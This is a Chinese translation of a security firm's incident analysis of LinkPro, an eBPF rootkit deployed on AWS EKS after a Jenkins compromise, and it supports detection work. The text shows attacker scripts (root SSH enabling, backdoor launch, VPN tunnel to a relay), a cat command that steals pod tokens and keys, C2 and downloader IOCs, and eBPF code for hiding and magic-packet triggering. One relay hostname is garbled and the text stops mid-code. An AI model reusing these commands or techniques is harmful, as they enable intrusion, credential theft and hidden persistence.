LinkPro:针对云环境的eBPF rootkit剖析

 

注:本文翻译自Synacktiv - Théo Letailleur的文章《LinkPro: eBPF rootkit analysis》[1],可点击文末“阅读原文”按钮查看英文原文。

全文如下:

摘要

在与 AWS 托管基础设施泄露相关的数字调查中,发现了一个针对 GNU/Linux 系统的隐秘后门。该后门的功能实现依赖于两个eBPF模块的安装:一方面用于自我隐藏,另一方面可在接收到"魔术数据包(magic packet)"时被远程激活。本文详细分析了该rootkit的功能特性,并揭示了在本案例中观测到的感染链,该链式攻击允许将后门部署在AWS EKS环境的多个节点上。

一、引言

eBPF(扩展伯克利包过滤器,extended Berkeley Packet Filter)是一项在Linux系统中广受欢迎的技术,因其在多种应用场景(可观测性、安全、网络等领域)以及能在内核上下文运行的同时接受用户空间编排的特性而备受青睐。如今攻击者正日益滥用该技术来创建复杂后门,以规避传统系统监控工具的检测。

诸如BPFDoor[2]Symbiote[3]J-magic[4]等恶意软件,均展示了eBPF在创建被动后门方面的有效性,这些后门能够监控网络流量,并在收到特定"魔术数据包(magic packet)"时被激活。此外,更复杂的开源工具如PoC项目ebpfkit[5]和采用Golang编写编排器的eBPFexPLOIT[6],均可作为rootkit使用,其功能涵盖建立隐蔽命令与控制(C2)信道、进程隐藏及容器逃逸技术等。

Synacktiv CSIRT团队在近期调查某AWS托管基础设施入侵事件时,发现了一条相对复杂的感染链,最终导致GNU/Linux系统被植入隐形后门。该后门通过安装两个eBPF模块实现其功能:一个用于自我隐藏,另一个则在接收到"魔术数据包(magic packet)"时被远程激活。

二、感染链

取证分析发现,一台暴露在互联网上且存在漏洞的Jenkins服务器(CVE-2024–23897[7])是此次入侵的源头。该服务器成为攻击者的初始攻击入口,随后攻击者横向移动至部署在多个Amazon EKS[8](弹性Kubernetes服务,标准模式)集群上的集成与部署流水线。

攻击者从Jenkins服务器出发,在多个Kubernetes集群上部署了名为kvlnt/vv的恶意Docker镜像(在我们发现后,该镜像已被DockerHub支持团队从其平台hub.docker.com[9]移除)。该Docker镜像基于Kali Linux构建,并包含两个附加层(layers)。

Docker镜像层
Docker镜像层
Docker镜像树
Docker镜像树

这些附加层将app文件夹设置为工作目录,并向其中添加了三个文件:

  1. 1. /app/start.sh:一个作为Docker镜像入口点的bash脚本,其功能是启动ssh服务、执行后门程序/app/app以及运行/app/link程序。
#!/bin/bash
sed -i -e 's/#PermitRootLogin /PermitRootLogin yes\n#/g' /etc/ssh/sshd_config
/etc/init.d/ssh start
./app &
./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp
  1. 2. /app/link:一个名为**vnt[11]的开源程序,充当VPN**服务器并提供代理功能。该程序会连接到社区中继服务器vnt.wherewego.transform: translateY(29872,使得攻击者能够从任意IP地址连接至受入侵服务器,并将其作为代理访问基础设施内的其他服务器。在/app/start.sh脚本中指定的命令行参数如下:
    1. 1. -k ooonnn:用于标识中继服务器上虚拟VLAN的令牌
    2. 2. -w mmm000:用于客户端间通信加密的密码(AES128-GCM)
    3. 3. -W:启用客户端与服务器间的加密(RSA+AES256-GCM),防止令牌泄露与中间人攻击
    4. 4. -o 0.0.0.0/0:允许**转发(forwarding)**到所有网段。
  2. 3. /app/app:一个下载器(downloader)恶意软件,用于从S3存储桶获取加密的恶意载荷。其联系的URL为https[:]//fixupcount.s3.dualstack.ap-northeast-1.amazonaws[.]com/wehn/rich.png。在本案例中,该载荷是内存态的vShell 4.9.3后门,通过WebSocket与其命令控制服务器(56.155.98.37)通信。Synacktiv CSIRT将此下载器命名为vGet,因其在本案例中与vShell存在直接关联。

vShell[12]是一个已有公开文档记录的后门,曾被UNC5174[13]等组织使用。其源代码约一年前已在GitHub下架。不过,当前存在可下载的vShell 4.9.3版本及其(破解版)许可证,使得各类攻击者都能使用该后门。

然而,关于vGet目前尚无开源资料披露。该恶意软件使用Rust语言开发并经过符号剥离处理。其在下载vShell载荷前,会先创建指向/dev/null的符号链接/tmp/.del。而vShell在运行期间(应操作者要求)启动终端时,会初始化环境变量HISTFILE=/tmp/.del,旨在确保命令历史不会写入文件(如.bash_history)。这表明两个程序之间可能存在关联,且vGet可能是专为直接在内存中无痕执行vShell而开发。

vGet——创建从/dev/null到/tmp/.del的符号链接
vGet——创建从/dev/null到/tmp/.del的符号链接

恢复的 vGet 样本除了对 Rust 依赖项的绝对路径中定义的用户名 cosmanking 的引用外 ,几乎没有符号,例如:

  • • /Users/cosmanking/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ureq-2.12.1/src/request.rs

关于Docker镜像,还发现以下挂载点配置:

  • • 挂载点:/mnt
    • • 源地址(宿主机):/
    • • 目标地址(容器内):/mnt
    • • 访问权限:读、写
    • • 类型:bind

此配置使得威胁行为体能够突破容器上下文(运行中的镜像),以root权限访问根分区的完整文件系统。

通过kvlnt/vv Pod中的/app/appvGet)进程,攻击者执行了cat命令以窃取宿主机(尤其是其他Pod)上的凭据(认证令牌、API密钥、证书等)。以下是该命令的简要摘录:

cat \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/mount \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/vol_data.json \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/ca.crt \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/namespace \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-hfsns/token \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/ca \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/cert \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/key
[..ETC..]

在该Docker镜像部署数周后,多个Kubernetes节点及生产服务器上出现了另外两个恶意软件的执行痕迹。这些生产服务器因经济利益成为攻击团伙的重点目标。

首个恶意代码是一个投放器(dropper),其内嵌了另一个通过DNS隧道通信的内存态vShell后门(v4.9.3)。该投放器与已知用于投递vShellSNOWLIGHT[14]样本不同,但具有相同目的。其解密过程分为两个阶段,以下是Synacktiv CSIRT分析的样本摘录:

步骤1:解密第一个 shellcode,直接执行
步骤1:解密第一个 shellcode,直接执行
步骤2:shellcode解密并加载内嵌的ELF格式**vShell**后门到内存中
步骤2:shellcode解密并加载内嵌的ELF格式**vShell**后门到内存中

最终的有效载荷是未被公开记录的LinkPro(Synacktiv CSIRT命名),这是一个利用eBPF技术的后门。由于其具备隐蔽性、持久化及内网横向移动能力,可被归类为rootkit。

三、LinkPro Rootkit

LinkPro 主要针对 GNU/Linux 系统,采用 Golang 开发。Synacktiv CSIRT 将其命名为 LinkPro,是依据其主模块符号定义:github.com/link-pro/link-client。与之同名的 GitHub 账户 link-pro[15] 并无公开代码库或贡献记录。LinkPro 利用 eBPF 技术仅在收到"魔术数据包(magic packet)"时激活,并在受感染系统上实现自我隐藏。

SHA256
d5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b
(被动后门)
1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964(主动后门)
文件类型
ELF 64位 LSB 可执行文件, x86-64, 适用于 Linux/elf64 系统
文件大小
8,710,464 bytes
威胁类型
Linux Rootkit
观测到的文件名
.tmp~data.ok
.tmp~data.pro.tmp~data.resolveld

LinkPro 内嵌了四个 ELF 模块:一个共享库、一个内核模块以及两个 eBPF 模块:

内嵌的 ELF 程序(Malcat 视图)
内嵌的 ELF 程序(Malcat 视图)

下表详细列出了这些内嵌的 ELF 模块。不过需要指出的是,其中的内核模块并未被 LinkPro 实际使用(未实现加载该模块的功能)。

LinkPro 内嵌的 ELF 二进制文件

SHA256
类型
大小
b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7
共享对象
14.2 KiB
9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075
内核对象
573.0 KiB
364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3
BPF
18.8 KiB
b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164
BPF
35.4 KiB

3.1 配置与通信

根据其预设配置,LinkPro 可工作在两种模式:被动模式或主动模式。其配置信息通过两种方式获取:

  1. 1. 以 JSON 格式嵌入在二进制文件中,并以关键字 CFG0 作为前缀,
  2. 2. 或者其默认参数直接硬编码在main函数中。两种样本均观察到了后一种方式。

此外,程序在运行时也会读取命令行参数来修改默认值:

Usage of <program name>:
  -addsvc
        / systemd disguise
  -connection-mode string
        : forward  reverse (default "reverse")
  -debug string
         (default "false")
  -dns-domain string
        DNS (default "dns.example.com")
  -dns-mode string
        DNS: direct()  tunnel() (default "tunnel")
  -dns-server string
        DNS (: 8.8.8.8:53)
  -ebpf string
         eBPF  (0=,1=) (default "1")
  -hideebpf string
        hide ebpf prog/map/link in /proc (0=,1=) (default "1")
  -jitter string
        () (default "2")
  -key string
        ()
  -pid string
        pid to hide (default "-1")
  -port string
         (default "6666")
  -protocol string
        (httptcpudpdns) (default "http")
  -reverse-port string
        HTTP (default "2233")
  -rmsvc
         systemd disguise
  -server string
         (default "1.1.1.1")
  -sleep string
        () (default "10")
  -version string
         (default "1.0.0")

调查中观测到的 -addsvc 参数用于激活持久化机制。

以下是 LinkPro 实现的配置结构:

struct TailConfig // sizeof=0xD0
{
     string ServerAddress;
     string ServerPort;
     string SecretKey;
     string SleepTime;
     string JitterTime;
     string Protocol;
     string DnsDomain;
     string DNSMode;
     string DnsServer;
     string Debug;
     string Version;
     string ConnectionMode;
     string ReversePort;
};

ConnectionMode 有两种可能的取值:reverse(反向)或 forward(正向)。

  1. 1. reverse 连接模式对应被动模式,此后门监听来自 C2 的命令。在此模式下,会安装两个类型分别为 eXpress Data Path (XDP[16]) 和 Traffic Control(TC[17]) 的 eBPF 程序,其目的是仅在收到特定 TCP 数据包时才激活 C2 通信信道。
  2. 2. forward 连接模式对应主动模式,此后门主动发起与 C2 服务器的通信。在此模式下,不会安装 XDP/TC eBPF 程序。

在受入侵信息系统上发现的两个样本具有以下配置:


d5b2202b
 样本
1368f3a8
 样本
模式
被动模式 HTTP
主动模式 HTTP
ServerAddress
1.1.1.1 (未使用)
18.199.101.111
ServerPort
6666
2233
SecretKey
0
3344
SleepTime
10
10
JitterTime
2
2
Protocol
http
http
DnsDomain
dns.example.com
dns.example.com
DNSMode
tunnel
tunnel
DnsServer
0
0
Debug
false
false
Version
1.0.0
1.0.0
ConnectionMode
reverse
forward
ReversePort
2233
2233

DNS 相关字段仅在通过 DNS 协议进行通信时使用。

在解析其配置后,LinkPro 会生成一个唯一的客户端 ID,该 ID 由以下信息构成:

SHA1sum(hex:"0123456789abcdeffedcba9876543210" | Hostname | Current user | Executable path | Machine ID | MAC Address | "nginx" )

注:Machine ID对应 /etc/machine-id 中的值,或者(如果该文件不存在)对应 /proc/sys/kernel/random/boot_id 中的值。

在 forward(主动)模式下,有五种可能的通信协议:

  • • HTTP
  • • WebSocket
  • • UDP (raw)
  • • TCP (raw)
  • • DNS (direct/tunneling)

在 reverse(被动)模式下,仅使用 HTTP 协议。后门会提供三个 URL 端点:

  1. 1. /reverse/handshake:用于识别操作者 ID(通过 server_id HTTP 请求参数),并返回状态 success
  2. 2. /reverse/heartbeat:返回客户端信息(如果指定了 request_client_info 参数),并返回状态 ok
  3. 3. /reverse/operation:执行操作者的命令。

通信数据交换采用 JSON 结构,并使用配置中指定的 SecretKey 作为 XOR 密钥进行加密。

随后,程序按顺序执行以下步骤:

  1. 1. 安装"Hide" eBPF 模块
  2. 2. 如果"Hide"模块安装失败,或者该模块被禁用(通过 -ebpf 0 命令行参数):则在 /etc/ld.so.preload 中安装一个共享库
  3. 3. 如果使用 reverse 模式,则安装"Knock" eBPF 模块
  4. 4. 安装持久化机制
  5. 5. 执行 C2 命令
  6. 6. 在程序被中断时,删除各个模块

注:下文描述将以被动模式样本 d5b2202b 为例进行说明。

3.2 LD_PRELOAD 模块

SHA256
b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7
文件类型
ELF 64位 LSB 共享对象, x86-64, 适用于 Linux/so64 系统
文件大小
14,552 bytes
威胁类型
Linux 动态链接器劫持
观测到的文件名
libld.so

LinkPro 会修改 /etc/ld.so.preload 配置文件,将其内嵌的 libld.so 共享库路径指定其中,目的是隐藏可能暴露后门存在的各种痕迹。libld.so 的执行步骤如下:

  1. 1. 在内存中保存 /etc/ld.so.preload 的原始内容
  2. 2. 将 LinkPro 二进制文件中内嵌的 libld.so 提取到 /etc/libld.so
    1. 1. 如有需要,会以读写权限重新挂载 /etc 目录:mount -o remount,rw /etc
  3. 3. 分配足够的权限,确保 libld.so 可被所有用户加载和执行:chmod 0755 /etc/libld.so
  4. 4. 将 /etc/ld.so.preload 文件内容替换为 /etc/libld.so

由于 /etc/ld.so.preload 中包含了 /etc/libld.so 路径,LinkPro 安装的 libld.so 共享库会被所有需要 /lib/ld-linux.so 的程序加载( T1574.006[18])。这包括所有使用共享库的程序,例如基于 glibc 的程序。

一旦 libld.so 在程序(例如 /usr/bin/ls)执行时被加载,它会hook多个 libc 函数(在 glibc 之前),以修改可能暴露 LinkPro 存在的结果。以下是观测到的被hook函数行为:

  • • fopen 和 fopen64:如果进程尝试打开 /proc/net/tcp/proc/net/tcp6/proc/net/udp 或 /proc/net/udp6(这些文件提供了活跃的 TCP/UDP 连接信息),恶意库会先执行真实的 fopen 函数,然后获取这些文件的内容并移除 LinkPro 的网络痕迹。具体来说,会删除任何包含源端口或目标端口为 2233LinkPro 的监听端口)的行。最后,如果进程尝试打开名为 ld.so.preload 的文件,则会返回No Such File Or Directory(文件或目录不存在)错误。
    forge_proc_net_tcp 函数修改内容的伪代码
    forge_proc_net_tcp 函数修改内容的伪代码
    • • 关于网络连接信息:netstat 命令依赖 /proc/net 目录下的文件来显示连接信息。而 ss 命令则使用 netlink 协议来获取这些信息。因此,使用 ss 命令可以检测到机器上正在监听 2233 端口,如下图所示(openat 是 fopen 函数使用的系统调用):
      LinkPro 内部端口检测:netstat 与 ss 命令对比
      LinkPro 内部端口检测:netstat 与 ss 命令对比
    • • 此外,得益于下文将解释的 getdents hook,LinkPro 的进程名称不会在 ss 命令的输出中显示。
  • • getdents 和 getdents64getdents 系统调用用于列出目录中的文件。在这种情况下,libld.so 会先执行 getdents,然后检查是否存在以下情况:
    • • 文件名包含关键词 .tmp~dataLinkpro 后门)、libld.sosshids 和 ld.so.preload
    • • /proc/ 下的进程目录(即 PID)其命令行中包含关键词 .tmp~data
    • • 如果找到匹配项,对应的 dirent 条目会被下一个条目覆盖。
      覆盖待隐藏文件的 dirent 条目
      覆盖待隐藏文件的 dirent 条目
    • • 注意:符号 toyincang 和 toyincanglib 分别对应关键词 .tmp~data 和 libld.so。"toyincang" 在汉语拼音中可以解读为"隐藏"。
  • • killkill 系统调用允许向进程发送信号,并以目标进程的 PID 作为参数。libld.so 实现的hook会检查目标进程的命令行(/proc/<pid>/cmdline)是否包含关键词 .tmp~dataLinkpro 后门)。如果找到,则不会执行 libc 的 kill 函数。
  • • open 和 open64:如果进程尝试打开名为 ld.so.preload 的文件,会返回No Such File Or Directory(文件或目录不存在)错误。
  • • readdir 和 readdir64libld.so 的 hook会先执行正常的 readdir 函数(列出目录中的文件),然后检查是否存在:
    • • 文件名包含关键词 .tmp~datalibld.sosshidsld.so.preload 以及 .system(持久化机制激活后存放 LinkPro 的文件夹)。
    • • /proc/ 下的进程目录(即 PID)其命令行中包含关键词 .tmp~data
    • • 如果找到匹配项,readdir 的 hook 会返回空结果。

下图展示了 libld.so 生效的效果演示。通过指定 -ebpf 0 命令行参数来显式禁用"Hide"eBPF模块,从而激活 LD_PRELOAD 库。

libld.so 加载效果示例
libld.so 加载效果示例

总而言之,由 LinkPro 加载的 libld.so 试图对其他动态链接的程序隐藏 LinkPro 后门及 libld.so 自身的网络痕迹(监听或目标端口)和文件系统痕迹。

3.3 "Hide" eBPF 模块

SHA256
b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164
文件类型
ELF 64位 LSB 可重定位文件, eBPF
文件大小
36,224 bytes
威胁类型
Linux eBPF Rootkit

"Hide"模块由多个 Tracepoint(跟踪点)和 Kretprobe(内核返回探针)类型的 eBPF 程序组成。

Tracepoint 类型的 eBPF 程序[19] 附着到 Linux 内核定义的静态跟踪点上。这些跟踪点放置在内核代码的特定位置,例如系统调用、内存分配、任务调度等处。特别是,系统调用的跟踪点位于入口(tracepoint/syscalls/sys_enter_syscall)或出口(tracepoint/syscalls/sys_exit_syscall)。

Kprobes[20](内核探针)允许将 eBPF 程序附着到内核中几乎任何函数(其入口点)。而 Kretprobes 则在函数返回时触发。这允许拦截和修改系统调用的结果。

LinkPro rootkit 安装了这些 eBPF 程序,并利用其功能来隐藏自身的进程和网络活动。

3.3.1 "Hide"模块的安装

首先,LinkPro 使用 ebpf-go 模块[21] 将内嵌的 "Hide" ELF 模块解析为一个特定的对象(CollectionSpec)。随后可以在内存中找到已加载的 Hide 模块的各个 eBPF 对象,即 maps[22] 和 programs[23]。Maps 是可以在程序之间共享的数据结构。

LinkPro 使用 LinkPro 当前的 PID(进程 ID)以及命令行上指定的 PID 列表(-pid 参数)来更新 pids_to_hide_map 这个 map。

LinkPro 更新 main_ebpf_progs 这个 map,以添加由 LinkPro 加载的 eBPF 程序("Hide"和"Knock"模块)的文件描述符(FD)。

然后,LinkPro 创建 BPF 链接[24] 将 eBPF 程序附着到内核中的插桩点。由 LinkPro 后门加载的"Hide"eBPF 模块为 getdents 和 getdents64 系统调用添加了 hook,其目标与 libld.so 共享库相同,即隐藏 LinkPro 特有的文件。此外,还在 sys_bpf 系统调用的入口和出口处放置了 hook,以隐藏其 eBPF maps 和程序。以下是实现的 hooks:

  • • tracepoint/syscalls/sys_enter_getdents -> HandleGetdentsEnter
  • • tracepoint/syscalls/sys_enter_getdents64 -> HandleGetdents64Enter
  • • tracepoint/syscalls/sys_exit_getdents -> HandleGetdentsExit
  • • tracepoint/syscalls/sys_exit_getdents64 -> HandleGetdents64Ext
  • • tracepoint/syscalls/sys_enter_bpf -> HandleBpfEnter
  • • kretprobe/sys_bpf -> HandleBpfExit

3.3.2 handle_getdents

附着在 getdents 和 getdents64 跟踪点(Tracepoint)上的函数行为与 libld.so 类似。getdents 系统调用(sys_exit_getdents)的结果会被拦截。eBPF 程序设置过滤器以隐藏:

  • • 特定文件和目录:任何包含关键词 .tmp~data 或 .system 的条目。
  • • 特定进程:标识符(PID)在 pids_to_hide eBPF map 中列出的进程目录(位于 /proc/ 下)也会被隐藏(该 map 最多可包含 10 个 PID)。

getdents 系统调用返回一个 dirent 结构[25]的链表,每个结构体代表一个文件或目录,并包含其名称、inode 和条目大小等信息,这些信息可用于计算下一个元素的位置。与 libld.so 在 getdents 上的hook不同,dirent 条目不会被下一条记录直接覆盖。

以下是通过修改 dirent 结构体链表来隐藏名为 .tmp~data.resolveld 的文件的方式。

eBPF 修改前

该链表是一系列连续的记录。每个 dirent 通过自身的长度(d_reclen)隐式指向下一个结构体。

dirent
 (文件 A)
dirent
 (.tmp~data.resolveld)
dirent
 (文件 B)
d_reclen
=24
d_reclen
=32
d_reclen
=24
d_name
="文件 A"
d_name
=".tmp~data.resolveld"
d_name
="文件 C"
指向 .tmp~data.resolveld 的开始位置
指向文件 B 的开始位置
指向末尾

注:此处 d_reclen 的值仅为示例。

eBPF 修改后

eBPF 程序检测到 .tmp~data.resolveld。随后,它修改前一条记录(文件 A)的长度(d_reclen),将 .tmp~data.resolveld 的长度加到其中。

dirent
 (文件 A)
dirent
 (.tmp~data.resolveld) - 已跳过
dirent
 (文件 B)
d_reclen
=24+32=56
d_reclen
=32
d_reclen
=24
d_name
="文件 A"
d_name
=".tmp~data.resolveld"
d_name
="文件 C"
现在指向文件 B 的开始位置

指向末尾

eBPFeXPLOIT 项目[26] 中也实现了相同的技术,并增加了要隐藏的文件名和目录。

3.3.3 handle_ebpf

这里实现了两个函数:链接到 syscall/sys_enter/bpf的跟踪点(tracepoint)的 HandleBpfEnter,以及链接到 sys_bpf 的 Kretprobe 的 HandleBpfExit。此处的目的是向 bpftool[27] 等工具隐藏 eBPF 程序的存在。观测到的代码与 EBPFeXPLOIT 项目[28] 中实现的代码基本相同,只是增加了一些额外检查和两次 bpf_printk 调用(可能用于调试)。

int handleBpfEnter(struct trace_event_raw_sys_enter *ctx) {
    // ...
        if ((!attr_ptr) &&
            (bpf_probe_read_user(&cmd_info.start_id, sizeof(__u32), (void *)attr_ptr) != 0)) 
        {
            bpf_printk("BPF cmd: %d, start_id: %u", cmd, cmd_info.start_id);
            bpf_map_update_elem(&hideEbpfMap, &pid_tgid, &cmd_info, BPF_ANY);       
        }
    //...
}

inthandleBpfExit(struct pt_regs *ctx) {
    // ...
                __u8 *is_main = bpf_map_lookup_elem(&main_ebpf_progs, &next_id);
                if (is_main && *is_main == 1) {
                    bpf_printk("HIDING NEXT_ID: %u", next_id);
                    bpf_override_return(ctx, -ENOENT);
                    return0;
                }
    // ...
}

bpf_printk 的输出记录在特殊文件 /sys/kernel/debug/tracing/trace_pipe 中。需要 root 权限才能读取其内容:

root@malux# bpftool prog list

# ..output...

root@malux# cat  /sys/kernel/debug/tracing/trace_pipe
         bpftool-15162   [003] ...21 66902.319601: bpf_trace_printk: BPF cmd: 11, start_id: 0
         bpftool-15162   [003] ...21 66902.319778: bpf_trace_printk: BPF cmd: 11, start_id: 52
         bpftool-15162   [003] ...21 66902.319825: bpf_trace_printk: BPF cmd: 11, start_id: 160
         bpftool-15162   [003] ...21 66902.319867: bpf_trace_printk: BPF cmd: 11, start_id: 161
        # [..etc..]
         bpftool-15162   [003] ...21 66902.320442: bpf_trace_printk: BPF cmd: 11, start_id: 175
         bpftool-15162   [003] ...21 66902.320484: bpf_trace_printk: BPF cmd: 11, start_id: 176
         bpftool-15162   [003] ...21 66902.320528: bpf_trace_printk: BPF cmd: 11, start_id: 177
         bpftool-15162   [003] ...21 66902.320533: bpf_trace_printk: HIDING NEXT_ID: 654

handlerBpfEnter 跟踪点(Tracepoint)将类型为 BPF_PROG_NEXT_IDBPF_MAP_NEXT_ID 和 BPF_LINK_NEXT_ID 的 BPF 命令保存在一个 map 中。在执行 sys_bpf 系统调用之后,会触发 handlerBpfExit hook。

  • • 此时会获取关联命令的结构体,该结构体现在包含了系统调用的结果,即下一个程序、map 或链接的 ID。
  • • 如果 cmd_info.attr_pr.next_id 的值等于 main_ebpfs_progs map 中某个对象的 ID,那么 sys_bpf 的返回值将被替换为 -ENOENTNo such file or directory(文件或目录不存在))。

下图展示了加载"Hide"模块(使用 -ebpf 1 参数,此为默认值)的演示效果,该模块向 bpftool 工具隐藏了 eBPF 程序:

隐藏 BPF 程序
隐藏 BPF 程序

需要注意的是,eBPF maps 和链接的 FD 并未被 LinkPro 包含在 main_ebpf_progs map 中,这是一个失误:尽管程序被正确隐藏,但仍然可以列出它们的 eBPF maps 和链接,以及与 LinkPro 关联的 PID。

检测到与 LinkPro 关联的 eBPF 链接
检测到与 LinkPro 关联的 eBPF 链接

另一个要点是,bpf_override_return 辅助函数仅在 Linux 内核编译时启用了 CONFIG_BPF_KPROBE_OVERRIDE 配置选项[29] 的情况下才可用。例如,Amazon Linux[30] 或 Ubuntu 24.04 的相对较新的内核就是这种情况。如果所需的内核选项未启用,BPF 验证器将拒绝该程序并阻止"Hide"模块加载。如果加载失败,则会使用替代方法,即加载 libld.so 库,作为备用方案来隐藏 LinkPro 的部分痕迹。

3.4 "Knock" eBPF 模块

SHA256
364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3
文件类型
ELF 64位 LSB 可重定位文件, eBPF
文件大小
19,249 bytes
威胁类型
Linux eBPF Rootkit

"Knock"模块包含两个由 LinkPro 加载的 eBPF 程序。

第一个程序名为 xdp_ingress,属于 XDP(eXpress Data Path)类型。

XDP[31] 提供了一种通过 eBPF 程序处理网络数据包的机制。它位于处理链的非常早期阶段,即在驱动层,处于经典 Linux 网络协议栈的上游。XDP eBPF 程序使用返回码(例如 XDP_PASSXDP_DROPXDP_REDIRECT)来决定 Linux 内核应对网络数据包采取的操作。

内核中带有 XDP 的网络数据包流向
内核中带有 XDP 的网络数据包流向

第二个程序名为 tc_egress,属于 TC(Traffic Control)类型。

tc 是由 iproute2 包引入的一个工具,允许控制网络接口上的入站(ingress)和出站(egress)流量。可以将 BPF 程序附加到不同的 TC 控制点,例如在数据包发送之前对其进行过滤。TC 位于驱动程序和网络协议栈之间,即位于 XDP 的下游。XDP 程序只能附加到入站流量,不能附加到出站流量,这正是在此场景下使用 TC 的原因。

带有 TC Hook 的出站 (TX) 数据流示意图
带有 TC Hook 的出站 (TX) 数据流示意图

3.4.1 "Knock"模块的安装

安装 xdp_ingress 和 tc_egress 程序需要以下几个步骤:

  1. 1. 检测网络接口:识别用于连接互联网的网络接口(例如 eth0)。
  2. 2. 创建 BPF 目录:在 BPF 文件系统(BPF FS)中创建一个 fire 目录,路径为 /sys/fs/bpf/fire。BPF FS 是一个伪虚拟文件系统(仅驻留于内存中),用于存储 BPF 程序和映射(map),以及 pinned objects(固定对象)[32](通过 BPF FS 中的伪文件保持对这些对象的引用,以确保其持久性)。
  3. 3. 加载模块:将Knock模块加载到内存中(CollectionSpec 对象)。
  4. 4. 更新配置映射:使用 LinkPro 配置中的 reverse_port 属性值(在本例中为端口 2233)更新 conf_map BPF 映射。
  5. 5. 安装 xdp_ingress 程序
    1. 1. 卸载已链接在该网络接口上的任何现有 XDP 程序:ip link set dev eth0 xdp off
    2. 2. 通过创建 BPF 链接[33] 将 xdp_ingress 程序附着到网络接口。
  6. 6. 安装 tc_egress 程序
    1. 1. 将 tc_egress 程序固定(pin)在 /sys/fs/bpf/fire/tc_egress。这意味着它已被另一个进程(LinkPro)加载到内存中,并已固定在 BPF 虚拟文件系统(bpffs)中。
    2. 2. 通过以下 tc 命令将 tc_egress 程序附着到网络接口:
      1. 1. 准备接口tc qdisc replace dev eth0 clsact
        1. 1. 使用 clsact(分类器动作)在 eth0 接口上创建或替换队列规则(qdisc),这提供了两个用于附着过滤器的挂载点:ingress(入站数据包)和 egress(出站数据包)。
      2. 2. 清理旧过滤器:清除出站流量上的旧过滤器:tc filter del dev eth0 egress
      3. 3. 附着 eBPF 程序:将 tc_egress 程序附着到网络接口的 egress 钩子:tc filter add dev eth0 egress proto all prio 1 handle 1 bpf da pinned /sys/fs/bpf/fire/tc_egress
        1. 1. proto all:该过滤器适用于所有协议的数据包。
        2. 2. prio 1:过滤器以最高优先级执行。
        3. 3. handle 1:所创建过滤器的标识符。
        4. 4. bpf:表明该过滤器是一个 BPF 程序。
        5. 5. da(或 direct-action):表示 eBPF 程序的返回值(例如 TC_ACT_OK 放行,TC_ACT_SHOT 丢弃)将直接决定数据包的命运。
        6. 6. pinned /sys/fs/bpf/tc_egress:告知 TC 在哪里可以找到 eBPF 程序,该程序已由 LinkPro 固定在 bpffs 中。

3.4.2 xdp_ingress

xdp_ingress eBPF 程序监听所附着网络接口(提醒:该接口被 LinkPro 识别为具有互联网访问权限)上的入站流量。该程序监控是否接收到magic packet(魔术数据包)

  • • 该magic packet(魔术数据包)必须具有以下特征:一个 TCP 协议数据包,类型为 SYN,其窗口大小值 tcp_header->windows_size 为 54321
  • • 如果验证到这样的数据包,xdp_ingress 程序会在 knock_map map中保存一个键值对:键为数据包的源 IP 地址,值为关联的过期时间(一小时),指示 open 状态。
  • • 此外,程序还在 rev_port 映射中保存以下键/值对:键:rev_key = { in_port, sip, sport}(sip = 源 IP,sport = 源端口),值:dport(目标端口)。in_port 等于存储在 conf_map 中的值,即 2233。
  • • 最后,xdp_ingress 程序返回 XDP_DROP 代码,指示 Linux 内核立即丢弃该魔术数据包(magic packet)。程序对于这个特定的源 IP 地址已转换为"open"状态。
if (tcph->syn && tcph->window == bpf_htons(MAGIC_WIN)) {
    bpf_printk("[DBG-KNOCK] 检测到敲门包: sip=%x sport=%u dport=%u win=%u", sip_h, sport_h, dport_h, (data->tcph).window); // (Knock packet detected)
    __u64 exp = bpf_ktime_get_ns() + WIN_NS; // current time + 1 hour
    bpf_map_update_elem(&knock_map, &sip_h, &exp, BPF_ANY);
    bpf_printk("[KNOCK-SET] key=%x exp=%llu", sip_h, exp);

    __u16 in_port = get_in_port()

    struct rev_key rk = {
        in_port,
        sip_h,
        sport_h
    }

    bpf_map_update_elem(&rev_port, &rk, &dport_h, BPF_ANY);

    bpf_printk("[KNOCK] %x:%u -> %u", sip_h, sport_h, dport_h);

    return XDP_DROP;
}
  • • open状态:在接收到魔术数据包(magic packet)后的一小时内,xdp_ingress 程序监控是否接收到源 IP 地址与已注册在 knock_map 中的地址相同的 TCP 数据包。
  • • 在这种情况下,如果目标端口尚不等于 in_port 的值(2233),则 xdp_ress 会修改入站数据包的 TCP 头部,将目标端口值替换为 in_port。此外,为防止数据包在下游被内核丢弃,TCP 校验和 tcp_header->check_sum 也会被重新计算并在 TCP 头部中修改。最后,xdp_ingress 返回 XDP_PASS 代码,将数据包传递给网络协议栈的后续部分处理。
bpf_printk("[FOUND] 找到有效敲门记录: sip=%x dport=%u", sip_h, dport_h); // (Found valid knock records)
__u16 in_port = get_in_port()
if (dport_h == in_port) {
    bpf_printk("[SKIP] 已是内部端口: sip=%x dport=%u", sip_h, dport_h); // (Already an internal port)
}
else {
    __u16 old_n = tcph->dest;
    __u32 old32 = (__u32)old_n;
    __u16 new_n = bpf_htons(in_port);
    __u32 new32 = (__u32)new_n;
